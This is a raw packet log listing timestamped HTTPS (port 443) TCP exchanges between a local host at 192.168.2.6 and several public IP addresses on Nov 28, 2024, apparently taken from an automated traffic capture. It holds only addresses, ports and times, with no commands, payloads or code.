Nov 28, 2024 02:27:24.344073057 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.344150066 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.344155073 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.344396114 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.347430944 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.347527027 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.347532034 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.347573996 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.350583076 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.350599051 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.350686073 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.350694895 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.350739002 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.350857973 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.350935936 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.350940943 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.353040934 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.353122950 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.353127003 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.353142023 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.353179932 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.353210926 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.358650923 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.358669996 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.358726025 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.358737946 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.358781099 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.411365032 CET	49743	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.411372900 CET	443	49743	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.505213022 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.505230904 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.505316019 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.505346060 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.505395889 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.513103008 CET	443	49760	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:24.513365030 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.513381958 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.513451099 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.513463020 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.513649940 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.513674021 CET	49760	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:24.513694048 CET	443	49760	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:24.514162064 CET	49760	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:24.514168024 CET	443	49760	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:24.521446943 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.521462917 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.521533966 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.521547079 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.521658897 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.523701906 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.523755074 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.523777962 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.523816109 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.533858061 CET	49742	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.533883095 CET	443	49742	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.611512899 CET	443	49761	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:24.615163088 CET	443	49763	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:24.615695000 CET	443	49762	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:24.628218889 CET	49761	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:24.628227949 CET	443	49761	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:24.629060984 CET	49761	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:24.629065990 CET	443	49761	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:24.629425049 CET	49763	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:24.629441977 CET	443	49763	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:24.629821062 CET	49763	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:24.629827023 CET	443	49763	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:24.630065918 CET	49762	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:24.630084038 CET	443	49762	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:24.630415916 CET	49762	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:24.630420923 CET	443	49762	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:24.638871908 CET	443	49755	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:24.638926029 CET	443	49755	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:24.639163971 CET	443	49755	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:24.639224052 CET	49755	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:24.639235020 CET	443	49755	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:24.641293049 CET	49755	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:24.653415918 CET	443	49755	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:24.657120943 CET	443	49755	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:24.657191992 CET	49755	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:24.657486916 CET	49755	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:24.657496929 CET	443	49755	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:24.770621061 CET	443	49764	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:24.771244049 CET	49764	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:24.771256924 CET	443	49764	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:24.771843910 CET	49764	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:24.771847963 CET	443	49764	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:24.777841091 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.777858019 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.778280973 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.778280973 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.778306007 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.839832067 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.839870930 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.839936018 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.840461016 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:24.840471029 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:24.884547949 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:24.884612083 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:24.884639025 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:24.884660959 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:24.884697914 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:24.884721041 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:24.884733915 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:24.893750906 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:24.893944979 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:24.893954992 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:24.937952995 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:24.938034058 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:24.938041925 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:24.952100039 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:24.952218056 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:24.952225924 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:24.955714941 CET	443	49760	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:24.955770016 CET	443	49760	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:24.956187010 CET	49760	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:24.956222057 CET	49760	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:24.956222057 CET	49760	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:24.956237078 CET	443	49760	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:24.956247091 CET	443	49760	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:24.959506035 CET	49768	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:24.959532976 CET	443	49768	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:24.959853888 CET	49768	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:24.960184097 CET	49768	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:24.960191011 CET	443	49768	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:25.002829075 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.002836943 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.049983025 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.057815075 CET	443	49762	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:25.057883978 CET	443	49762	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:25.058166027 CET	49762	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:25.058213949 CET	49762	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:25.058213949 CET	49762	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:25.058228970 CET	443	49762	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:25.058237076 CET	443	49762	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:25.058387041 CET	443	49763	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:25.058479071 CET	443	49763	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:25.059012890 CET	49763	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:25.059057951 CET	49763	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:25.059068918 CET	443	49763	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:25.059082985 CET	49763	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:25.059087992 CET	443	49763	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:25.062170029 CET	49769	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:25.062236071 CET	49770	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:25.062256098 CET	443	49770	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:25.062268019 CET	443	49769	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:25.062362909 CET	49770	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:25.062365055 CET	49769	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:25.062575102 CET	49770	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:25.062578917 CET	49769	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:25.062592030 CET	443	49770	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:25.062616110 CET	443	49769	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:25.063517094 CET	443	49761	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:25.063580036 CET	443	49761	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:25.063889980 CET	49761	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:25.064033985 CET	49761	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:25.064038992 CET	443	49761	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:25.064060926 CET	49761	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:25.064064026 CET	443	49761	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:25.066814899 CET	49771	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:25.066838026 CET	443	49771	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:25.066981077 CET	49771	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:25.067125082 CET	49771	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:25.067147017 CET	443	49771	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:25.073002100 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.087919950 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.088066101 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.088073969 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.090601921 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.090651989 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.090658903 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.104674101 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.104741096 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.104749918 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.114604950 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.114661932 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.114669085 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.124607086 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.124658108 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.124664068 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.137876987 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.137938023 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.137944937 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.151572943 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.151673079 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.151679993 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.165256023 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.165342093 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.165352106 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.178813934 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.178916931 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.178925037 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.197846889 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.197993040 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.198000908 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.202013016 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.202440977 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.202446938 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.214863062 CET	443	49764	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:25.214921951 CET	443	49764	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:25.215001106 CET	49764	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:25.215342045 CET	49764	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:25.215342045 CET	49764	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:25.215358019 CET	443	49764	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:25.215363026 CET	443	49764	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:25.218729019 CET	49772	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:25.218779087 CET	443	49772	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:25.218848944 CET	49772	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:25.219042063 CET	49772	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:25.219053984 CET	443	49772	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:25.253108025 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.273566008 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.275362015 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.275480986 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.275487900 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.287039995 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.287121058 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.287128925 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.294179916 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.294262886 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.294262886 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.294275999 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.294325113 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.303890944 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.315854073 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.315922022 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.315928936 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.327629089 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.327680111 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.327903986 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.327912092 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.327960968 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.338941097 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.349852085 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.349931955 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.349937916 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.359831095 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.359941006 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.359946966 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.369426012 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.369476080 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.369525909 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.369534016 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.369590998 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.377835989 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.386281013 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.386316061 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.386353970 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.386362076 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.386456013 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.394731998 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.403075933 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.403127909 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.403155088 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.403162003 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.403208971 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.411438942 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.419378996 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.419421911 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.419449091 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.419456005 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.419655085 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.427650928 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.435326099 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.435372114 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.435383081 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.435389042 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.435735941 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.443228006 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.444608927 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.444669962 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.444677114 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.452526093 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.452677965 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.452683926 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.460549116 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.460784912 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.460792065 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.468472958 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.468529940 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.468535900 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.475931883 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.476001024 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.476006985 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.480525970 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.480597973 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.480603933 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.489520073 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.489624977 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.489631891 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.494541883 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.494597912 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.494604111 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.506362915 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.506434917 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.506442070 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.517678976 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.517744064 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.517750025 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.520700932 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.520782948 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.520790100 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.528928041 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.529006958 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.529014111 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.529778957 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.529870033 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.529875994 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.530092001 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:25.530160904 CET	443	49757	172.217.21.36	192.168.2.6
Nov 28, 2024 02:27:25.530282974 CET	49757	443	192.168.2.6	172.217.21.36
Nov 28, 2024 02:27:26.427128077 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:26.427239895 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:26.432657957 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:26.432743073 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:26.443551064 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:26.443562031 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:26.443967104 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:26.443978071 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:26.444185019 CET	49767	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:26.444189072 CET	443	49767	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:26.444535971 CET	49766	443	192.168.2.6	150.171.27.10
Nov 28, 2024 02:27:26.444540977 CET	443	49766	150.171.27.10	192.168.2.6
Nov 28, 2024 02:27:26.687135935 CET	49779	443	192.168.2.6	4.245.163.56
Nov 28, 2024 02:27:26.687165976 CET	443	49779	4.245.163.56	192.168.2.6
Nov 28, 2024 02:27:26.687306881 CET	49779	443	192.168.2.6	4.245.163.56
Nov 28, 2024 02:27:26.688554049 CET	49779	443	192.168.2.6	4.245.163.56
Nov 28, 2024 02:27:26.688570023 CET	443	49779	4.245.163.56	192.168.2.6
Nov 28, 2024 02:27:26.752243042 CET	443	49768	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:26.752721071 CET	49768	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:26.752732038 CET	443	49768	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:26.753254890 CET	49768	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:26.753259897 CET	443	49768	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:26.770504951 CET	49780	443	192.168.2.6	184.30.17.174
Nov 28, 2024 02:27:26.770524025 CET	443	49780	184.30.17.174	192.168.2.6
Nov 28, 2024 02:27:26.770816088 CET	49780	443	192.168.2.6	184.30.17.174
Nov 28, 2024 02:27:26.771958113 CET	49780	443	192.168.2.6	184.30.17.174
Nov 28, 2024 02:27:26.771970034 CET	443	49780	184.30.17.174	192.168.2.6
Nov 28, 2024 02:27:26.790045977 CET	443	49770	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:26.792218924 CET	49770	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:26.792233944 CET	443	49770	13.107.246.63	192.168.2.6
